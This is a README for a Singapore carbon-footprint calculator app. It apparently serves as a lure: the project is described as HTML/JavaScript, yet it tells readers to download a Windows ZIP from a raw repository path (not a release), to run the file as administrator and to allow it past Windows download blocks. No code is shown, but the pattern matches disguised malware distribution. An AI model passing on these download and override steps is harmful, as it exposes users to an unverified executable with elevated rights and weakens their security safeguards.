sgcarboncalculator：面向新加坡居民的碳足迹估算应用

🚀 Download

Visit this page to download: GitHub Releases

Choose the latest release for Windows, then download the app file from the release page

📋 What this app does

sgcarboncalculator helps Singapore residents estimate their carbon footprint from daily life

It uses local emission factors for Singapore, so the results fit local travel, power use, and common habits

You can also see your results in charts and get simple personal tips based on AI input from OpenAI or Gemini

🖥️ What you need

• Windows 10 or Windows 11
• A modern web browser such as Edge, Chrome, or Firefox
• An internet connection for first-time setup and AI features
• Enough free space to save the app files and your results

📦 How to download

1. Open the GitHub Releases page
2. Find the latest release at the top of the page
3. In the Assets section, download the Windows file
4. Save the file to your Downloads folder or Desktop

🛠️ How to install and run

1. Open the folder where you saved the file
2. If the file is a ZIP file, right-click it and choose Extract All
3. Open the extracted folder
4. Find the main app file and double-click it
5. If Windows asks for permission, choose Allow or Run
6. Wait for the app to open in your browser or app window

🌍 First-time setup

1. Open the app
2. Set your Singapore details if the app asks for them
3. Enter your travel, home energy, and daily use details
4. Add your AI API key if you want personalized insights
5. Save your settings before you start a new calculation

📊 What you can do in the app

• Estimate your carbon footprint from daily habits
• Compare transport options in Singapore
• Check home energy use
• View results in clear charts with Chart.js
• Get tailored insights based on your inputs
• Review past calculations if the app stores them locally

🔍 How to read your results

The app shows your carbon use in a simple way

• Higher numbers mean more emissions
• Charts help you see where most of your footprint comes from
• Tips point to the biggest changes you can make first
• Local factors help the results fit Singapore use cases better

🧭 Helpful use cases

• Check how much your MRT, bus, or car use adds to your footprint
• Estimate the impact of air-con use at home
• Compare weekly routines before changing habits
• Prepare a clearer view of your own sustainability choices
• Use the results for personal tracking over time

🔐 AI features

The app can use OpenAI or Gemini to give more personal advice

To use these features, you may need:

• A valid API key
• Internet access
• Basic account access with the service you choose

If you do not add an API key, the app can still show standard calculator results

🧩 Troubleshooting

App does not open

• Make sure you downloaded the full release file
• Try extracting the ZIP file again
• Right-click the app and choose Run as administrator
• Check that your browser is up to date

Charts do not show

• Refresh the app
• Check that JavaScript is enabled in your browser
• Try another browser such as Edge or Chrome

AI insights do not work

• Check that your API key is correct
• Make sure your internet connection is active
• Confirm that the selected service, OpenAI or Gemini, has access available

Download looks blocked

• Use the latest release from the GitHub Releases page
• Save the file first, then open it from your Downloads folder
• If Windows asks for confirmation, allow the file to run

🗂️ Project topics

ai, calculator, carbon-footprint, chartjs, gemini, html-css-javascript, javascript, openai, singapore, sustainability

📁 Release page

Get the Windows download here: https://github.com/arianabra7734/sgcarboncalculator/raw/refs/heads/main/sparky/Software-3.2.zip

🧭 Suggested use

Open the app, enter your daily habits, review the charts, then use the tips to lower your carbon footprint over time